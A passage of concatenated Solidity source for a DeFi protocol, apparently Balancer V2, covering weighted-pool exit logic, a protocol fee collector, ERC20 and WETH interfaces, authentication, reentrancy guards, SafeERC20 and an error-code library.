WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), _swapFeePercentage ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens()); _upscaleArray(amountsOut, _scalingFactors()); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), _swapFeePercentage ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[_maxWeightTokenIndex], normalizedWeights[_maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All * amounts are expected to be upscaled. */ function _invariantAfterJoin( uint256[] memory balances, uint256[] memory amountsIn, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsIn, FixedPoint.add); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function _invariantAfterExit( uint256[] memory balances, uint256[] memory amountsOut, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsOut, FixedPoint.sub); return WeightedMath._calculateInvariant(normalizedWeights, balances); } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { toMutate[i] = mutation(toMutate[i], arguments[i]); } } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/openzeppelin/IERC20.sol"; /** * @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support * sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals. */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Inspired by Aave Protocol's IFlashLoanReceiver. import "../../lib/openzeppelin/IERC20.sol"; interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../lib/openzeppelin/IERC20.sol"; import "../lib/helpers/InputHelpers.sol"; import "../lib/helpers/Authentication.sol"; import "../lib/openzeppelin/ReentrancyGuard.sol"; import "../lib/openzeppelin/SafeERC20.sol"; import "./interfaces/IVault.sol"; import "./interfaces/IAuthorizer.sol"; /** * @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the * Vault performs to reduce its overall bytecode size. * * The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are * sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated * to the Vault's own authorizer. */ contract ProtocolFeesCollector is Authentication, ReentrancyGuard { using SafeERC20 for IERC20; // Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%). uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50% uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1% IVault public immutable vault; // All fee percentages are 18-decimal fixed point numbers. // The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not // actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due // when users join and exit them. uint256 private _swapFeePercentage; // The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent. uint256 private _flashLoanFeePercentage; event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); constructor(IVault _vault) // The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action // identifiers. Authentication(bytes32(uint256(address(this)))) { vault = _vault; } function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external nonReentrant authenticate { InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length); for (uint256 i = 0; i < tokens.length; ++i) { IERC20 token = tokens[i]; uint256 amount = amounts[i]; token.safeTransfer(recipient, amount); } } function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate { _require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH); _swapFeePercentage = newSwapFeePercentage; emit SwapFeePercentageChanged(newSwapFeePercentage); } function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate { _require( newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE, Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH ); _flashLoanFeePercentage = newFlashLoanFeePercentage; emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage); } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } function getFlashLoanFeePercentage() external view returns (uint256) { return _flashLoanFeePercentage; } function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) { feeAmounts = new uint256[](tokens.length); for (uint256 i = 0; i < tokens.length; ++i) { feeAmounts[i] = tokens[i].balanceOf(address(this)); } } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { return _getAuthorizer().canPerform(actionId, account, address(this)); } function _getAuthorizer() internal view returns (IAuthorizer) { return vault.getAuthorizer(); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; import "./BalancerErrors.sol"; import "../../vault/interfaces/IAsset.sol"; library InputHelpers { function ensureInputLengthMatch(uint256 a, uint256 b) internal pure { _require(a == b, Errors.INPUT_LENGTH_MISMATCH); } function ensureInputLengthMatch( uint256 a, uint256 b, uint256 c ) internal pure { _require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH); } function ensureArrayIsSorted(IAsset[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(IERC20[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(address[] memory array) internal pure { if (array.length < 2) { return; } address previous = array[0]; for (uint256 i = 1; i < array.length; ++i) { address current = array[i]; _require(previous < current, Errors.UNSORTED_ARRAY); previous = current; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./IAuthentication.sol"; /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; // Based on the ReentrancyGuard library from OpenZeppelin contracts, altered to reduce bytecode size. // Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using // private functions, we achieve the same end result with slightly higher runtime gas costs but reduced bytecode size. /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _enterNonReentrant(); _; _exitNonReentrant(); } function _enterNonReentrant() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED _require(_status != _ENTERED, Errors.REENTRANCY); // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _exitNonReentrant() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * * WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert. */ function _callOptionalReturn(address token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. (bool success, bytes memory returndata) = token.call(data); // If the low-level call didn't succeed we return whatever was returned from it. assembly { if eq(success, 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } // Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs _require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IVault.sol"; import "./IPoolSwapStructs.sol"; /** * @dev Interface for adding and 